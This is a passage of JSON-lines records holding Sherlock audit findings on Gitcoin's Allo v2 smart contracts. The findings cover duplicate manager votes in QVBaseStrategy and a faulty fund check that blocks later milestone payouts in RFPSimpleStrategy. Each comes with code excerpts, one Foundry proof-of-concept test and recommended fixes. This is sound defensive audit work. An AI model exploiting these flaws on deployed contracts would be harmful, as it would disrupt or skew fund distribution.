Recommendation\n\nI would recommend to check whether `msg.semder` has already reviewed the recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/153.md"}} +{"title":"Managers can vote for the same recepient many times","severity":"medium","body":"Brief Silver Porcupine\n\nmedium\n\n# Managers can vote for the same recepient many times\nPool managers in **QVBaseStrategy.sol** can vote multiple times for the same recipient.\n\n## Vulnerability Detail\nIn **QVBaseStrategy.sol**, after recepients has been proposed, pool managers can review them. Reviewing means voting on what the status of the recipient should be. When a recipient has passed the needed threshold, his status is set. However, [the function](https://github.com/allo-protocol/allo-v2/blob/8a41a342a0de7a2d5d7dbc5395d1da44cb811348/contracts/strategies/qv-base/QVBaseStrategy.sol#L273-L275) updates the counter for the recipient's votes on each iteration without checking if the current manager has not already voted for the recipient. This means that a single pool manager can call the function with the same recipient **reviewThreshold** times and change its status.\n\n## Impact\nA single pool manager can vote for a certain recipient as many times as he desires.\n\n## Code Snippet\n```jsx\nfunction reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a mapping that tracks if a manager has voted for a certain recipient.\n\n```jsx\n mapping (address manager => mapping(address recipient => bool voted)) managerHasVoted;\n```\n\nRecord a new vote count for the recipient **only if** the manager votes for him for the first time.\n\n```jsx\n if (!managerHasVoted[msg.sender][recipientId]) {\n reviewsByStatus[recipientId][recipientStatus]++;\n }\n```\n\nUpdate the mapping when a manager makes a review of a recipient.\n\n```jsx\nmanagerHasVoted[msg.sender][recipientId] = true;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/028.md"}} +{"title":"RFPSimpleStrategy: fail in distributing the upcoming milestone","severity":"medium","body":"Micro Heather Rabbit\n\nmedium\n\n# RFPSimpleStrategy: fail in distributing the upcoming milestone\n \n## Summary\n\n`RFPSimpleStrategy._distribute` can revert if `upcomingMilestone > 0` due to incorrect check at the line L#432.\n\n\n## Vulnerability Detail\n\n`RFPSimpleStrategy._distribute` function distributes the upcoming milestone to acceptedRecipientId. There is a check to make sure the contract has enough funds.\n```solidity\n431 // make sure has enough funds to distribute based on the proposal bid\n432 if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n\n435 uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n\n438 poolAmount -= amount;\n```\nThe `recipient.proposalBid` is the total amount which should be distributed. So due to this check the `poolAmount` should not be less than `recipient.proposalBid` at any milestone.\nBut the `poolAmount` is decreased at each milestone and should be refilled or the `_distribute` will revert.\n\n\n## Impact\n\n`RFPSimpleStrategy._distribute` reverts for `upcomingMilestone > 0`. The contract functionality will be broken.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L431-L435\n\n\n## Tool used\n\nManual Review\n\n\n## Recommendation\n\nConsider using `(recipient.proposalBid * milestone.amountPercentage) / 1e18 > poolAmount` instead of `recipient.proposalBid > poolAmount` at the line L#432.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/945.md"}} +{"title":"RFPSimpleStrategy's _distribute implementation is incorrect","severity":"medium","body":"Oblong Clay Kangaroo\n\nhigh\n\n# RFPSimpleStrategy's _distribute implementation is incorrect\nRFPSimpleStrategy cannot distribute a portion of the fund because the proposalBid comparison syntax in _distribute is incorrect.\n## Vulnerability Detail\n\nUser can receive a portion of the fund when the recipient achieves a milestone.\n\n```solidity\nfunction _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS(); //@audit <==\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\nThe `if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();` syntax in `_distribute` compares `proposalBid`, the total reward to be received, to `poolAmount`, and requires that poolAmount be greater to pass.\n\nAs the recipient achieves milestones, the `poolAmount` is reduced by `poolAmount -= amount;`.\n\nTherefore, you shouldn't compare the gradually decreasing `poolAmount` to the fixed value of `proposalBid`.\n\nWhen the latter milestone is achieved, `NOT_ENOUGH_FUNDS` will occur because the `poolAmount` is reduced by the rewarded amount, but the `proposalBid` remains at its initial value.\n\n## Impact\nThe recipient does not receive the full amount promised.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432\n## Tool used\n\nManual Review\n\n## Recommendation\nDecrease recipient.proposalBid by the amount of the reward paid.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/879.md"}} +{"title":"Function `_distribute` of `RFPSimpleStrategy.sol` would be reverted due to the coding error.","severity":"medium","body":"Hot Zinc Hippo\n\nmedium\n\n# Function `_distribute` of `RFPSimpleStrategy.sol` would be reverted due to the coding error.\nFunction `_distribute` of `RFPSimpleStrategy.sol` would be reverted due to the coding error.\n\n## Vulnerability Detail\nThe `_distribute` function of `RFPSimpleStrategy.sol` is as follows.\n```solidity\nFile: RFPSimpleStrategy.sol\n414: /// @notice Distribute the upcoming milestone to acceptedRecipientId.\n415: /// @dev '_sender' must be a pool manager to distribute.\n416: /// @param _sender The sender of the distribution\n417: function _distribute(address[] memory, bytes memory, address _sender)\n418: internal\n419: virtual\n420: override\n421: onlyInactivePool\n422: onlyPoolManager(_sender)\n423: {\n...\n431: // make sure has enough funds to distribute based on the proposal bid\n432: if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n433: \n434: // Calculate the amount to be distributed for the milestone\n435: uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n436: \n437: // Get the pool, subtract the amount and transfer to the recipient\n438: poolAmount -= amount;\n...\n450: }\n```\nL432 is the validation check to make sure pool has enough funds for this milestone's distribution.\nBut the `poolAmount` is mistakenly compared against `recipient.proposalBid`, which is invalid parameter to compare.\nL432 must compare `poolAmount` with L435's `amount`.\n`poolAmount` is current funds of the pool. And this amount is getting decreased by every `_distribute` call.\nMeanwhile, `recipient.proposalBid` is fixed value so L432's compare can be reverted after few `_distribute` calls.\n\n## Impact\nPool's legitimate funds might fail to be distributed.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\nFile: RFPSimpleStrategy.sol\n414: /// @notice Distribute the upcoming milestone to acceptedRecipientId.\n415: /// @dev '_sender' must be a pool manager to distribute.\n416: /// @param _sender The sender of the distribution\n417: function _distribute(address[] memory, bytes memory, address _sender)\n418: internal\n419: virtual\n420: override\n421: onlyInactivePool\n422: onlyPoolManager(_sender)\n423: {\n...\n431: - // make sure has enough funds to distribute based on the proposal bid\n432: - if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n433: \n434: // Calculate the amount to be distributed for the milestone\n435: uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n436: \n\n + // make sure has enough funds to distribute based on the proposal bid\n + if (amount > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n437: // Get the pool, subtract the amount and transfer to the recipient\n438: poolAmount -= amount;\n...\n450: }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/829.md"}} +{"title":"Incorrect Check in `_distribute` Function in `RFPSimpleStrategy.sol` Leads to Reversion of Valid Distributions","severity":"medium","body":"Mini Garnet Squirrel\n\nhigh\n\n# Incorrect Check in `_distribute` Function in `RFPSimpleStrategy.sol` Leads to Reversion of Valid Distributions\nIn the `RFPSimpleStrategy.sol` contract, the `_distribute` function has an incorrect check that compares the recipient's proposal bid directly to the pool amount. This can lead to an incorrect revert condition and disrupt the distribution process.\n## Vulnerability Detail\nThe vulnerability is within the ` _distribute` function, specifically in the following code snippet:\n```solidity\n// make sure has enough funds to distribute based on the proposal bid\nif (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n```\nThis code checks if the recipient's proposal bid is greater than the current pool amount and reverts if true.However according to this \nScenario:\n 1) Initialize the `RFPSimpleStrategy.sol` contract with the following parameters:\n ` poolAmount` (Total available funds in the pool) = 100e18\n `recipient.proposalBid` (Proposal bid submitted by the recipient) = 100\n ` milestones` = [50%,50%]\n Total number of milestones = 2\n\n 2) Perform the distribution of the first milestone:\n Calculate the distribution amount based on the proposal bid and milestone percentage: (100e18 * 50) / 1e18 = 50e18\n Subtract the calculated distribution amount from `poolAmount`: 100 - 50= 50\n\n 3) Attempt to distribute the second milestone:\n Now `poolAmount` = 50e18\n still `recipient.proposalBid` =100e18\n The incorrect check in the `_distribute function currently compares recipient.proposalBid to poolAmount directly, which is 100e18 > 50e18.\n Due to the incorrect check, the function will incorrectly revert with a \"NOT_ENOUGH_FUNDS\" error.\n## Impact\nThis can disrupt the distribution of funds for milestones and potentially prevent valid distributions.\n\n## Code Snippet\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n ```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432\n## Tool used\n\nManual Review\n\n## Recommendation\nthis should be checking `if ((recipient.proposalBid * milestone.amountPercentage) / 1e18 > poolAmount)`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/795.md"}} +{"title":"RFP strategy reverts when there is more than 1 milestone","severity":"medium","body":"Boxy Clay Ladybug\n\nhigh\n\n# RFP strategy reverts when there is more than 1 milestone\nThe current logic in `_distribute()` inside `RFPSimpleStrategy.sol` will render the strategy useless when there are more than 1 milestones\n## Vulnerability Detail\nThe `_distribute()` function checks that the `proposalBid` doesn't exceed `poolAmount` and then subtracts the current milestone amount from `poolAmount`, however `proposalBid` is always constant and at some point `poolAmount` will be less than `proposalBid` and the function will revert and unable future milestones to be executed.\n```solidity\n// make sure has enough funds to distribute based on the proposal bid\nif (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n```\n\n### Coded POC\n 1. Add `testTwoMilestones` and the modified `__register_recipient()` to `RFPSimpleStrategy.t.sol`\n 2. In this scenario we have `maxBid` = 4.95e18, pool with 5e18 funds, milestones worth 7e17 & 3e17 and an accepted proposal bid of 3e18\n 3. Execute the test with forge `test --match-test testTwoMilestones -vv`\n 4. Output - the function reverts on trying to distribute the second milestone with NOT_ENOUGH_FUNDS() revert message.\n ```solidity\nfunction testTwoMilestones() public {\n uint newMaxBid = 4950000000000000000;\n\n vm.prank(pool_admin());\n strategy.increaseMaxBid(newMaxBid);\n\n address funder = address(77);\n vm.deal(funder, 5e18);\n vm.prank(funder);\n allo().fundPool{value: 5e18}(poolId, 5e18);\n console.log(\"Strategy Balance\", address(strategy).balance);\n\n address recId = __register_recipient();\n console.log(\"Id\", recId);\n\n __setMilestones();\n\n // _helperPrintMilestone(strategy.getMilestone(0));\n\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(recId), address(pool_admin()));\n\n console.log(\"Accepted Recipient Id: \", strategy.acceptedRecipientId());\n\n vm.prank(recipient());\n strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: \"metadata\"}));\n\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin()); \n \n console.log(\"Strategy Balance\", address(strategy).balance);\n\n vm.prank(recipient());\n strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: \"metadata\"}));\n\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin()); \n \n console.log(\"Strategy Balance\", address(strategy).balance);\n\n }\n\n function __register_recipient() internal returns (address recipientId) {\n address sender = recipient();\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n\n bytes memory data = abi.encode(recipientAddress(), false, 3e18, metadata);\n vm.prank(address(allo()));\n recipientId = strategy.registerRecipient(data, sender);\n }\n```\n## Impact\nRFP strategy cannot work with more than 1 milestone which defeats the point of the strategy. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L382-L412\n## Tool used\n\nManual Review\nFoundry\n## Recommendation\nRework `_distribute`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/711.md"}} +{"title":"In `RFPSimpleStrategy` the `poolAmount` must always be bigger or equal to the proposal bid of the recipient even parts of the pool were already distributed","severity":"medium","body":"Dandy Lavender Wombat\n\nmedium\n\n# In `RFPSimpleStrategy` the `poolAmount` must always be bigger or equal to the proposal bid of the recipient even parts of the pool were already distributed\n\nWhen the pool manager wants to distribute payments to the recipient, the `poolAmount` must be bigger or equal to 100% of the proposal bid of the recipient even parts of the pool were already distributed\n\n\n## Vulnerability Detail\n\nThe payout of the pool amount in the `RFPSimpleStrategy` is linked to specific mile stones where each mile stone represents a specific percentage of the proposalBid been paid out. E.g. if mile stone 1 is reached 70% of the proposalBid is payed out and if milestone 2 is reached the remaining 30% are paid out. The problem is that when the pool manager calles `_distribute`, the function reverts if \n` recipient.proposalBid > poolAmount`. \n\n` if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS(); `\nThis requires the pool to hold 100% of the `proposalBid`, even if some of the mile stones were already accomplished and the corresponding tokens paid out. This makes it necessary for the poolManager to fund the pool with the amount of tokens that were already paid out for previous mile stones to be able to pay out future mile stones. \n\n## Impact\n\nThe poolManager will need to fund the pool with additional funds equal to the already paid out amount to be able to distribute the payment for all mile stones.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432C9-L432C75\n\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen calling _distribute, only revert if the poolAmount is smaller than the amount that needs to be paid out for the upcoming milestone and ignore the propsalBid of the recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/622.md"}} +{"title":"Tokens cannot be distributed to recipient as expected in RFPSimpleStrategy","severity":"medium","body":"Ambitious Lemonade Chipmunk\n\nhigh\n\n# Tokens cannot be distributed to recipient as expected in RFPSimpleStrategy\nTokens cannot be distributed to recipient as expected in RFPSimpleStrategy\n\n## Vulnerability Detail\nBefore distributing tokens to the recipient, the first step is to check whether there are enough tokens in the Strategy (line 432). However, the checking here is incorrect. recipient.proposalBid represents the total amount of tokens the recipient requires. Since tokens are distributed milestone by milestone, poolAmount should be compared to the remaining amount of tokens, not the total bid amount.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L431-L445\n\n## Impact\nTokens cannot be distributed to recipient as expected.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a variable, such as recipient.proposalfunded, represents the amount of tokens has distributed to recipient. line 432 is changed to \n```solidity\nif (recipient.proposalBid - recipient.proposalfunded > poolAmount) revert NOT_ENOUGH_FUNDS();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/619.md"}} +{"title":"````_distribute()```` of ````RFPSimpleStrategy```` would revert with ````NOT_ENOUGH_FUNDS()```` even if their is enough ````poolAmount```` remaining","severity":"medium","body":"Atomic Ultraviolet Mole\n\nmedium\n\n# ````_distribute()```` of ````RFPSimpleStrategy```` would revert with ````NOT_ENOUGH_FUNDS()```` even if their is enough ````poolAmount```` remaining\n````_distribute()```` function of ````RFPSimpleStrategy```` contract incorrectly requires ````recipient.proposalBid <= poolAmount```` for each ````milestone````. It would cause ````_distribute()```` failing even if their is enough ````poolAmount```` remaining.\n\n## Vulnerability Detail\nLet's look at the implementation of ````_distribute()````, please pay attention on L432 and L438, ````poolAmount```` decreases in each ````milestone````, but ````recipient.proposalBid```` always keep fixed.\n```solidity\nFile: contracts\\strategies\\rfp-simple\\RFPSimpleStrategy.sol\n417: function _distribute(address[] memory, bytes memory, address _sender)\n418: internal\n419: virtual\n420: override\n421: onlyInactivePool\n422: onlyPoolManager(_sender)\n423: {\n424: // check to make sure there is a pending milestone\n425: if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n426: \n427: IAllo.Pool memory pool = allo.getPool(poolId);\n428: Milestone storage milestone = milestones[upcomingMilestone];\n429: Recipient memory recipient = _recipients[acceptedRecipientId];\n430: \n431: // make sure has enough funds to distribute based on the proposal bid\n432: if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();//@audit incorrect\n433: \n434: // Calculate the amount to be distributed for the milestone\n435: uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n436: \n437: // Get the pool, subtract the amount and transfer to the recipient\n438: poolAmount -= amount;\n439: _transferAmount(pool.token, recipient.recipientAddress, amount);\n440: \n441: // Set the milestone status to 'Accepted'\n442: milestone.milestoneStatus = Status.Accepted;\n443: \n444: // Increment the upcoming milestone\n445: upcomingMilestone++;\n446: \n447: // Emit events for the milestone and the distribution\n448: emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n449: emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n450: }\n\n```\n\nNow, let's consider the case below:\n(1) before first distribution, the states are\n```solidity\npoolAmount = 10 ETH\nrecipient.proposalBid = 8 ETH\nmilestones[2] = [{amountPercentage: 50%}, {amountPercentage: 50%}]\n```\n(2) after first distribution, states change to\n```solidity\npoolAmount = 6 ETH\nrecipient.proposalBid = 8 ETH\nmilestones[2] = [{amountPercentage: 50%}, {amountPercentage: 50%}]\n```\n\n(3) during second distribution, it would revert due to ````recipient.proposalBid(8 ETH) > poolAmount(6 ETH)````\n```solidity\n432: if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n```\nbut actually ````poolAmount(6 ETH)```` is enough to pay the second ````milestone(4 ETH)````.\n\n## Impact\nTo make ````_distribute()```` work, pool owner or managers must deposit far more fund than it should be.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```diff\nFile: contracts\\strategies\\rfp-simple\\RFPSimpleStrategy.sol\n417: function _distribute(address[] memory, bytes memory, address _sender)\n418: internal\n419: virtual\n420: override\n421: onlyInactivePool\n422: onlyPoolManager(_sender)\n423: {\n424: // check to make sure there is a pending milestone\n425: if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n426: \n427: IAllo.Pool memory pool = allo.getPool(poolId);\n428: Milestone storage milestone = milestones[upcomingMilestone];\n429: Recipient memory recipient = _recipients[acceptedRecipientId];\n430: \n431: // make sure has enough funds to distribute based on the proposal bid\n-432: if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n+432: if (upcomingMilestone == 0 && recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n433: \n434: // Calculate the amount to be distributed for the milestone\n435: uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n436: \n437: // Get the pool, subtract the amount and transfer to the recipient\n438: poolAmount -= amount;\n439: _transferAmount(pool.token, recipient.recipientAddress, amount);\n440: \n441: // Set the milestone status to 'Accepted'\n442: milestone.milestoneStatus = Status.Accepted;\n443: \n444: // Increment the upcoming milestone\n445: upcomingMilestone++;\n446: \n447: // Emit events for the milestone and the distribution\n448: emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n449: emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n450: }\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//006-M/555.md"}} +{"title":"`RFPSimpleStrategy::_distribute()` might revert even though it has enough funds to distribute","severity":"medium","body":"Energetic Berry Llama\n\nhigh\n\n# `RFPSimpleStrategy::_distribute()` might revert even though it has enough funds to distribute\n`RFPSimpleStrategy::_distribute()` function checks if the contract has enough funds to distribute, but the check is wrong. The contract compares the remaining pool funds and **100% of the `proposalBid`**, but the amount that will be distributed is only a percentage of the `proposalBid` according to upcoming milestone. The comparison should be done with the milestone percentage of the `proposalBid`, not the 100% of the bid.\n\n## Vulnerability Detail\n`RFPSimpleStrategy::_distribute()` function distributes some portion of the `proposalBid` in every milestone. This portion is determined by milestones, which are set by the contract manager before the distribution phase.\n\nThis function:\n\n1. Validates the upcoming milestone\n \n2. Checks if the pool has enough funds to distribute\n \n3. Updates pool funds by decreasing the `poolAmount` state variable\n \n4. Transfers the funds\n \n\nThe issue arises in the second step: while checking the pool funds. This check is done with this line:\n `if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();`\n\nThe function reverts if the `proposalBid` is greater than the `poolAmount`. But the amount that will be distributed is not the `proposalBid`. It is only a portion of the `proposalBid`.\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432C9-L432C75](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432C9-L432C75)\n\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n--> if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS(); // @audit - This amount is not the amount that will be sent. \n\n // Calculate the amount to be distributed for the milestone\n--> uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18; // @audit - This amount is the one that should be checked.\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount; // @audit - The poolAmount will be decreased. Last a few milestone might revert because the poolAmount will be decreased below the full proposalBid. \n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n\nAfter the first milestone is distributed, future milestones will be at risk of not being paid depending on the milestone percentages.\n\n**Example Scenario**\n\n*T0 - Initial state - The pool is funded with enough amount to pay the full* `proposalBid`\n\n* `proposalBid` = 80\n \n* `poolAmount` = 120\n \n* `Milestones` = 60% and 40%\n \n\n*T1 - The first milestone is distributed.*\n\n* `proposalBid` is smaller than the `poolAmount`. Function doesn't revert\n \n* `amount` to distribute = 48 (60% of the `proposalBid`)\n \n* remaining `poolAmount` = 72\n \n\n*T2 - The second milestone is going to be distributed.*\n\n* `proposalBid` = 80\n \n* `poolAmount` = 72\n \n* `proposalBid` is greater than the `poolAmount` and the function reverts.\n \n\n**The milestone can not be distributed. But the actual amount that will be paid for this milestone was 32. The pool was very well funded for that amount but the function reverted.**\n\n## Impact\n`RFPSimpleStrategy::_distribute()` function will revert even if the pool has enough funds to distribute all milestones.\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432C9-L432C75](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L432C9-L432C75)\n\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n--> if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS(); // @audit - This amount is not the amount that will be sent. \n\n // Calculate the amount to be distributed for the milestone\n--> uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18; // @audit - This amount is the one that should be checked.\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount; // @audit - The poolAmount will be decreased. Last a few milestone might revert because the poolAmount will be decreased below the full proposalBid.. \n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nComparison should be done using the amount that will be distributed in the current milestone, not using the full `proposalBid` amount\n\nChange this:\n\n```solidity\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert 